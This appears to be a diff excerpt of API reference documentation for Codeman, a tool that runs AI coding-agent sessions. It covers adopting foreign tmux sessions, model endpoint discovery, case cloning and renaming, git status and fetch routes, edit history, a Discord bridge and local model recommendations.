`GET /api/v1/sessions/:id/files` takes an optional `root=live`, which starts the listing, or a
`q` search, at that worktree instead of at `workingDir`. The response's `root` names the folder
that was walked: it stays `workingDir` when the session is in no worktree, when the worktree has
gone, and when the folder no longer resolves inside `workingDir`. A `path` in the response stays
relative to `workingDir` either way, so it works unchanged on `file-content` and `file-raw`,
while a `q` containing `/` is matched against paths relative to the folder walked. The response
also carries `worktree`, the same `{ name, path }`, whenever the session has a `liveWorktree`,
whichever folder was walked and with or without `root=live`.
The walk lists at most 5,000 files and folders and opens no more folders once it has read 250,000
directory entries (the folder that crosses that line is read whole). It sets `truncated` when it
stops with anything left, which includes a folder it never opened, even if that folder would have
turned out to be empty. It is a per-directory round-robin (breadth-first): each folder found so far
gets an equal share of what is left before any of them gets more, and a folder's own files count
as one more share beside the subfolders it has just found, so one huge folder cannot use up the
listing limit before its later siblings or its own subfolders are read, and the `matches` of a `q`
search come back shallow-first. A folder made of thousands of small subfolders can still use most
of the limit one level down, and folders that add up to the read limit can leave later ones
unread. A folder below the start of the walk that does not answer a bounded probe (a mount that
stopped responding) is not read either, and counts as left over the same way. In the tree, a
directory node the walk stopped short of for either reason also carries `incomplete: true`: its
`children` hold what was listed before it stopped, which can be nothing. The key is absent on every
other node.
## Session model (`displayModel`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) carries the model a
@@ -1063,6 +1124,80 @@ the caller's case space, a linked case's exact path, or a Claude worktree of eit
session, the create response carries `tabLayout` as it does for `tabGroupId`. Deleting the
case forgets the value; existing sessions never move.
## Adopting a foreign tmux session
A tmux session someone started by hand (`tmux new -s work`) lives on its own socket,
where Codeman does not look for its own sessions. These two routes list such sessions
and open one as a tab. Admin-only in multi-user mode (403), since the list shows other
people's processes and adopting a shell is arbitrary execution as the server account.
`GET /api/v1/mux/foreign` lists candidates. Local sessions are always scanned, and
cached for 5 s. `?docker=1` and `?remote=1` add the containers behind the saved Docker
cases and the saved ssh hosts, one `docker exec` or ssh connection per target, so the
browser sends them only on an explicit scan. `?force=1` skips the local cache.
```json
{
"sessions": [
{
"id": "fa9b76d36",
"location": "local",
"socketPath": "/tmp/tmux-1000/default",
"sessionName": "work",
"windows": 1,
"attached": false,
"createdAt": 1793931275000,
"mode": "claude",
"command": "claude",
"workingDir": "/home/me/project",
"adoptedBy": "961d0a82-6888-425d-a3ee-dab38ecbb598"
}
],
"scannedAt": 1793931277916,
"notes": ["remote Build box: unreachable, or no tmux"],
"pollIntervalMs": 8000,
"canScanWide": true
}
```
`hostId`, `hostLabel` and `containerName` appear on a docker or remote candidate.
`adoptedBy` names the session already wrapping that target. `notes` says why a location
gave nothing, each opening with where it came from (`local`, `docker <name>`,
`remote <label>`). A session whose name or socket path holds characters Codeman will not
pass to a shell, or whose name tmux reads as a target rather than a name (one starting
with `=`, `@` or `%`, or a bare `~`), is skipped and counted in a note. A tmux server that
does not answer within 2 seconds costs only its own rows and gets a note, and a scan cut
short keeps the rows it read and says so in one. Sessions on a Codeman socket never appear,
and neither does a session named `codeman-*` or `claudeman-*` on any other socket, with no note.
`POST /api/v1/sessions/adopt` wraps one, with `{ "id": "...", "docker": true, "remote":
true }` (the two flags must match the listing the id came from; `name` and
`parentSessionId` are optional). The body carries only that opaque id: the target is
re-resolved by a fresh scan, so a candidate that is gone answers `404`, and one on a
location unreachable this time answers `404` saying so.
The answer is `{ "session": SessionState, "adopted": true }`, or
`{ "session": SessionState, "alreadyAdopted": true }` when the target already has a
wrapper. A second adopt of a target whose wrapper is still being created is
`SESSION_BUSY`. The session has `adopt` set and `pid: null`: start it like any other,
`POST .../shell` for `mode: "shell"` and `POST .../interactive` for the rest. `mode`
comes from the pane's process tree.
Closing the session detaches. The foreign session keeps running, and only Codeman's
wrapper and its grouped `codeman-view-<id>` session go, so `DELETE` removes nothing that
belongs to someone else. Codeman did not start this agent, so these refuse an adopted
session: respawn, Ralph (its config and the `fix-plan/write`, `fix-plan/read` and
`ralph-prompt/write` file routes), one-shot `POST .../run`, auto-clear, auto-compact,
auto-resume, custom model endpoints, prompt uploads and the image watcher. `stop` waits
are a 400, and so are `blocked` waits unless Codeman reads that CLI's dialogs off its
screen (codex), `git-status`, `git-fetch` and Edit history (`.../edits`) answer
`unsupported` with `reason: "adopted"`, `git-diff` and `git-fetch-settings` answer
`400 INVALID_INPUT`, and `last-response` answers empty, since Codeman knows no transcript
for it. Its `paneExit`
stays absent, because the pane holds a `tmux attach` and not the agent. Reboot restore
does not rebuild one. A wrapper that cannot start answers `OPERATION_FAILED` and leaves
the tab to be tried again: Codeman never starts a local process in its place.
## Approvals Inbox
Cross-session queue of prompts waiting on a human (permission dialogs,
@@ -1205,24 +1340,47 @@ data}` envelope on the wire — unwrap it the same way). Answers `[]` for a
boolean` reports whether one is stored, so a client can render "unchanged
if left blank" without ever holding the real value.
- `POST /api/v1/model-endpoints` with `{ id, label, baseUrl, apiKey?,
authStyle?, defaultModelId? }` creates one. `id` must match
authStyle?, defaultModelId?, defaultContextLength? }` creates one. `id`
must match
`^[a-zA-Z0-9_-]+$`; `authStyle` is `bearer` (default) or `api-key`, never
both (a real server hung indefinitely when sent both headers on one
request); `baseUrl` must be `http(s)`, carry no embedded credentials, and
request); `defaultContextLength` is a user-set fallback used when
assigning a model that discovery has no context length for (discovery
itself never writes it); `baseUrl` must be `http(s)`, carry no embedded
credentials, and
is refused if it points at (or resolves to) a link-local or
cloud-metadata address. `409 ALREADY_EXISTS` on a duplicate id.
- `PUT /api/v1/model-endpoints/:id` updates one. An **absent** `apiKey`
- `PUT /api/v1/model-endpoints/:id` updates one, also accepting
`defaultContextLength`. An **absent** `apiKey`
keeps the stored one rather than clearing it — the client never receives
the real value to resend deliberately unchanged, so omission is the only
way to say "leave it alone"; there is no way to clear a key back to unset
this way. `defaultModelId`, when set, must be one of that endpoint's own
this way. `defaultContextLength` behaves the opposite way: a PUT without
it clears the stored value, so send the field back to keep it.
`defaultModelId`, when set, must be one of that endpoint's own
`models` (`400 INVALID_INPUT` otherwise).
- `DELETE /api/v1/model-endpoints/:id` removes one.
- `POST /api/v1/model-endpoints/:id/discover-models` fetches the endpoint's
own `GET /v1/models` and stores the result as `models`, updating
`lastDiscoveredAt`, plus (best-effort, only for a model llama-swap's own
response already reports loaded) `modelContextLengths` and `modelSizesGB`.
A `defaultModelId` that no longer appears in the fresh list is dropped
`lastDiscoveredAt`, plus (best-effort) `modelContextLengths`,
`modelSlotCounts` and `modelSizesGB`: every listing entry is read for a
stated context figure (`context_length`, then `context_window`) and a
size, BEFORE any loaded check; only the launch-command/`/props`
enrichment needs a model llama-swap's own response reports loaded. A
loaded model's context figure comes from llama-swap's own launch command
(`--fit-ctx` / `-c` / `--ctx-size`), falling back to `/props` (`n_ctx`,
`total_slots`) for whatever the command did not answer, and OVERWRITES the
listed figure for that model; the model's own listing
(`context_length`, then `context_window`) only ever fills the gap when
neither probe does, and is recorded as a single-slot figure:
llama-swap lists the PER-SLOT window, so whenever the listed figure is
the one taken the stored slot count is 1. A server with no `status`
field on any entry (plain llama.cpp, a non-llama-swap gateway) gets no
launch-command/`/props` enrichment at all, only whatever its listings
state. `modelContextLengths` falls back to the
endpoint's `defaultContextLength` when a session is assigned a model
discovery never learned a window for. A `defaultModelId` that no longer
appears in the fresh list is dropped
rather than carried forward invalid. Failures answer `422 OPERATION_FAILED`
with the underlying connection error, or a named egress refusal if the
resolved address turned out to be blocked. The same refresh also runs
@@ -1313,7 +1471,9 @@ The target is judged before anything is written:
- The folder must not exist, or must be an **empty** directory; a folder with contents is Link Existing's job: `409 ALREADY_EXISTS`. A symlink or a plain file at the target is `400`.
- `409 ALREADY_EXISTS` also for a case name already in use (in the cases dir or the registry) and for a folder that is already a case.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`, or `409 ALREADY_EXISTS` when the name was linked meanwhile, or `409 CONFLICT` when `linked-cases.json` cannot be read or is not a JSON object. Such a file is refused and left as it is, because writing over it would unlink every other case; `POST /api/cases/link` refuses it the same way.
`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the case cannot be registered, the cloned folder is kept and the error names it, then use Link Existing: `409 ALREADY_EXISTS` when the name was linked while git ran, `409 CONFLICT` when `linked-cases.json` is refused as above, and `500 OPERATION_FAILED` when the write itself fails.
## Git status
@@ -1335,16 +1495,29 @@ Both routes accept two optional query parameters, which the UI sends from its pe
- `state: 'ok'`: `repos[]`, each `{ name, path, status }` where `name` is the repository folder's name, `path` its root relative to the working directory, and `status` is:
`branch` (null when `detached`), `upstream`, `ahead`, `behind`, `hasRemote`, `counts` (`staged`, `unstaged`, `untracked`, `conflicted`, `uncommitted` = distinct paths, `stashes`), `files[]` (`path` relative to `repoRoot`, `origPath` for a rename, `index` and `worktree` status letters, `kind`: `staged` \| `unstaged` \| `untracked` \| `conflicted`; a file that is staged *and* modified again appears once per kind), `filesTruncated`, `unpushedCount` (exact) and `unpushed[]` (newest first: `hash`, `author`, `time` in epoch seconds, `subject`), `repoRoot`, `checkedAt`.
- `state: 'not-a-repo'`: no repository here, above (that counts) or within two levels below.
- `state: 'unsupported'` with `reason: 'remote' | 'docker'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host).
- `state: 'unsupported'` with `reason: 'remote' | 'docker' | 'adopted'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host; an adopted session's `workingDir` is a neutral `/tmp`, not its workspace).
- `state: 'error'` with a short `error` (git missing, timed out, or git's first stderr line with any `user:token@` credentials redacted).
Lists are capped (300 files and 50 commits per repository) while the counts stay exact. A branch with no upstream reports the commits no remote has (`HEAD --not --remotes`); a repository with no remote reports `unpushedCount: 0`, since there is nothing to push to. Concurrent polls of one folder share a single git invocation; `?fresh=1` (what the panel's Refresh button and opening the panel send) skips the short-lived caches, though it still joins a computation already running.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote and Docker sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote, Docker and adopted sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`data` is `{ state, repos, reposTruncated, repoLimit, fetchedAt }`, `repos[]` each `{ name, path, ok }` and, when it failed, `failure` (`{ code, message, stderr }`: the codes as in the clone failures, plus `NO_REMOTE`). A repository that could not be fetched keeps its row rather than being dropped. The panel shows the result under its list and then re-reads, so `behind` reflects what this fetch brought.
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote or Docker session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote and Docker sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote, Docker or adopted session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote, Docker and adopted sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
## Edit history
What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **claude session** made (local or remote SSH), main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). A remote session is read over ssh and never woken: a sleeping host answers `unavailable`. Docker, non-claude and adopted sessions answer `state: 'unsupported'` and are never read.
`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir; a remote session sends no hooks, so its host is asked over ssh for the conversation the pane's claude writes now, else the most recently written of the stored conversation, the session's `claudeSessionId` and its id, under the host's `CLAUDE_CONFIG_DIR` or `~/.claude`) or `unsupported` (`reason`: `docker`, `mode`, `adopted`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
`GET /api/sessions/:id/edits/:entryId` returns one edit's diff as unified text: `{ diff, truncated }` (each edit's diff is capped at 64 KiB). `404` for an edit the session does not have.
`POST /api/sessions/:id/edits/older` reads the next older block, within the current conversation, of up to three transcripts, a full read budget each (with more transcripts, main and subagents take turns), and answers like the list.
The edits are stored per session in `~/.codeman/edit-history/<id>.json` (mode 0600, at most 500 edits and 4 MiB of diff text, the oldest dropped), deleted when the session's record is removed (a killed pinned session keeps it; at startup, a file whose session no longer exists is deleted too) and never fed into `/api/v1/search`. No route here serves a file: the panel shows thumbnails through `file-raw` inside the workspace only; an image outside it opens in the file preview, which registers it through the attachment route.
## Git worktrees of a case
@@ -1398,7 +1571,7 @@ A local case whose folder is the top of a git repository can keep **worktrees**
A non-admin's `POST /api/quick-start` and `POST /api/ralph-loop/start` work as before but do not record their case as `lastUsedCase` (a server-wide key).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the `500` says it is now at the new path). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the answer is `500` and says it is now at the new path). A failed write is `500`. A linked case's entry is checked again where it is written, after any folder move, and a refusal there puts everything back the same way: a new name linked since the first check is `409 ALREADY_EXISTS` with `renameCode: "EXISTS"`, an old entry unlinked or changed since then is `409 CONFLICT` with `renameCode: "BUSY"`, and a `linked-cases.json` that stopped being readable or a JSON object is `409 CONFLICT` with no `renameCode` (one already damaged when the rename starts reads as empty, so a linked name answers `404`). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
### System operations
@@ -1486,10 +1659,58 @@ Posts the Web Push events to ntfy, Slack, Discord or a generic JSON URL (Setting
Delivery goes through the same egress guard as web tabs (refused on the resolved address too), does not follow redirects, times out after 5 s, sends the same event for the same session at most once per 3 s, and has at most 5 requests in flight. Error text never contains the URL.
## Discord bridge
One thread per tab in a private Discord channel, alerts out and replies typed back in. Setup (bot, least-privilege permissions, IDs) is in [discord-bridge.md](discord-bridge.md). The bot token is a bearer secret: stored in `~/.codeman/discord.json` (0600), never returned, and the three settings routes are admin only in multi-user mode.
| Method | Path | Body | Notes |
| ------ | ------ | ------ | ------ |
| `GET` | `/api/discord` | none | Config without the token, plus `hasToken`, `tokenMasked`, `gateway` (`off` \| `connecting` \| `connected` \| `error`), `gatewayError` and `lastResult`. |
| `PUT` | `/api/discord` | `{ enabled?, token?, guildId?, parentChannelId?, allowedUserIds?, threadCreation?, onSessionDelete?, staleThreads?, pingMode?, scope?, startupHint? }` (strict) | `threadCreation`: `lazy` \| `onSessionStart`. `onSessionDelete`: `keep` \| `archive` \| `delete`. `pingMode`: `off` \| `critical` \| `all`. `scope`: `attention` \| `all`. An absent `token` keeps the saved one; `""` clears it. `400` for a non-numeric id or enabling without a token, guild, channel and at least one allowed user. |
| `POST` | `/api/discord/test` | none | Posts one message to the parent channel with the saved config, even while disabled. `200` with `data.ok`; `400` if no token or channel is saved. |
| `POST` | `/api/sessions/:id/discord-notify` | `{ message, urgent?, file? }` (strict, message 1 to 1500 characters) | A CLI asks for the user: posts into that tab's thread, pinging when `urgent`. `file` is an absolute path inside the tab's working folder (real path, regular file, at most 8 MB, not on the attachment blocklist, local sessions only) uploaded with the post; `400` otherwise. A `200` carries the delivery result: `data.ok` is `false` (with `data.error`) when Discord refused or failed the post. `409` while the bridge is disabled, `429` past 6 posts a minute per tab. The `codeman notify "message" [--urgent] [--file path]` command wraps this route. |
Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge created are typed into a session, as one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone), at most one per second per tab. Attached files are saved under `.codeman-discord/` in the tab's folder and their paths appended to that line (see [discord-bridge.md](discord-bridge.md)).
## Diagnostics
`GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.
## Local model recommendation
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, and with which agent CLI. It covers Apple silicon macOS only; anywhere else the answer is still a `200`, with verdict `none`. **Read-only:** the route downloads nothing, installs nothing, writes no file and reads or changes no setting (setting a model up from Codeman is a later step and is not built yet). It names the host's hardware, so it is admin only in multi-user mode (`403`, answered before anything is probed). The models, their sizes and the agent CLIs it considers are a catalogue compiled into the release; there is no override file.
**Experimental.** This endpoint and its payload are labeled experimental until the step that sets a model up ships: that step will add to and may change the fields below, the verdicts and the sentences, in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on its shape yet.
| Method | Path | Body | Notes |
| ------ | ------------------ | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated }`. `403 FORBIDDEN` for a non-admin in multi-user mode. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. |
A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read.
`data`:
- `hardware`: what the server sees of the machine it runs on.
- `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta.
- `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB.
- `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read.
- `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run).
- `recommendation`:
- `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may fit only tightly, have no speed figure or have no room on the disk); `notes` then says so.
- `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot).
- `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one.
- `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing):
